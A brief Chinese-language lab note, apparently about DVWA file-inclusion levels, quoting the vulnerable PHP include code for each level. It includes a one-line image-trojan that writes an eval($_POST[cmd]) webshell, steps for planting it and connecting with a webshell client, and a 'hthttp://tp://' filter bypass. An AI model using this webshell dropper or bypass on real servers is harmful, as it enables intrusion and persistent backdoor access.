本地文件包含
远程文件包含
低安全级别
<?php $file = $_GET['page']; //The page we wish to display ?>
本地文件包含+webshell
制作一句话图片木马 cmd.jpg
<?php fputs(fopen("shell.php","w"),"<?php eval($_POST[cmd]);?>") ?>
上传图片木马文件
执行文件包含并生成后门
通过菜刀连接webshell
中安全级别
限制远程文件包含
<?php $file = $_GET['page']; // The page we wish to display // Bad input validation $file = str_replace("http://", "", $file); $file = str_replace("https://", "", $file); ?>
替换
hthttp://tp://
高安全级别
限制文件名,只允许include.php
<?php $file = $_GET['page']; //The page we wish to display // Only allow include.php if ( $file != "include.php" ) { echo "ERROR: File not found!"; exit; } ?>
破解办法:???